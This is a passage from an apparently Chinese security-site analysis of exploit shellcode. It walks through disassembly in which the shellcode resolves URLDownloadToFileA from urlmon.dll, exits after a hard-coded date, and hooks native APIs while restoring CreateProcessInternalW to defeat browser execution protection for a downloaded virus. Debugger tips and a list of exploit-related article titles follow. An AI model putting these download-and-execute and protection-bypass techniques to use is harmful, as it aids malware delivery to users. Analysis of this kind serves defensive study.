|
接着是使用LoadLibraryA加载urlmon.dll并取得URLDownloadToFileA函数的地址。值得一提的是这里不是直接call而是用在子函数里用先push返回地址再jmp的方式。
00407069 6A 01 push 1
0040706B 59 pop ecx
0040706C 68 6F6E0000 push 6E6F
00407071 68 75726C6D push 6D6C7275
00407076 54 push esp ; ’urlmon’
00407077 8B06 mov eax, dword ptr [esi] ; LoadLibraryA
00407079 E8 10010000 call 0040718E ; (13)一个纯为了anti-debug而搞出来的子函数,直接在下一句下断,再F9就不会跑飞
0040707E 95 xchg eax, ebp ; urlmon.dll基址入ebp
0040707F E8 BE010000 call 00407242 ; (14)又找函数地址并保存,直接F8,可以看到找到的函数是URLDownloadToFileA
URLDownloadToFileA函数地址被保存在[esi+2C]
在进入实质工作之前,就是附加的操作。
首先是时间限制的验证
00407084 68 3D400000 push 403D
00407089 6A FF push -1
0040708B 6A FF push -1
0040708D 3E:DB2C24 fld tbyte ptr ds:[esp]
00407091 50 push eax ; 只是在堆栈腾出FILETIME结构的内存空间
00407092 50 push eax
00407093 54 push esp
00407094 FF56 20 call dword ptr [esi+20] ; GetSystemTimeAsFileTime
00407097 8BC4 mov eax, esp
00407099 68 6EC2C801 push 1C8C26E
0040709E 68 00C0B336 push 36B3C000
004070A3 54 push esp
004070A4 50 push eax
004070A5 FF56 1C call dword ptr [esi+1C] ; CompareFileTime
004070A8 48 dec eax
004070A9 75 03 jnz short 004070AE ; (16)系统时间如果晚于设定好的时间,则不跳走
004070AB FF56 10 call dword ptr [esi+10] ; 这样就直接ExitThread了,也就是这个shellcode的时间限制
我调试的时候,已经过了允许时间了,所以本来就会直接ExitThread,这时可以自己强行把EIP改到下一句,不让它退出,继续调试。
接下来的部分我认为比较让我意外,就是我前面提到的,shellcode中自己保存了NATIVE API的原样代码,在这里对NATIVE API进行 了inline hook,hook到shellcode自带的原样代码中,以及把CreateProcessInternalW前面的几个字节进行了还 原,从而破坏了一些软件的浏览器执行保护功能,为自己执行被下载的病毒程序扫清了障碍,这是它优于此前我所见到的漏洞利用shellcode的重要关键。
| 新云CMS Online.asp页面过滤不严 | 02-26 |
| 对网软网上购物系统的漏洞分析 | 01-09 |
| 测试SQL防注入脚本 | 12-21 |
| Google Xss又出跨站新漏洞 | 11-06 |
| 一次简单的html injection导致的 | 11-06 |
| 风讯、科讯漏洞利用 | 11-01 |
| Adobe pdf reader URI利用方式浅 | 10-23 |
| 超星阅览器的最新0DAY | 10-19 |
| 运用SQL Injection做数据库渗透的 | 09-22 |
| sa-blog 0day | 09-22 |
| HTML注入的一些简单想法 | 09-10 |
| 网站登陆接口的攻与防 | 09-04 |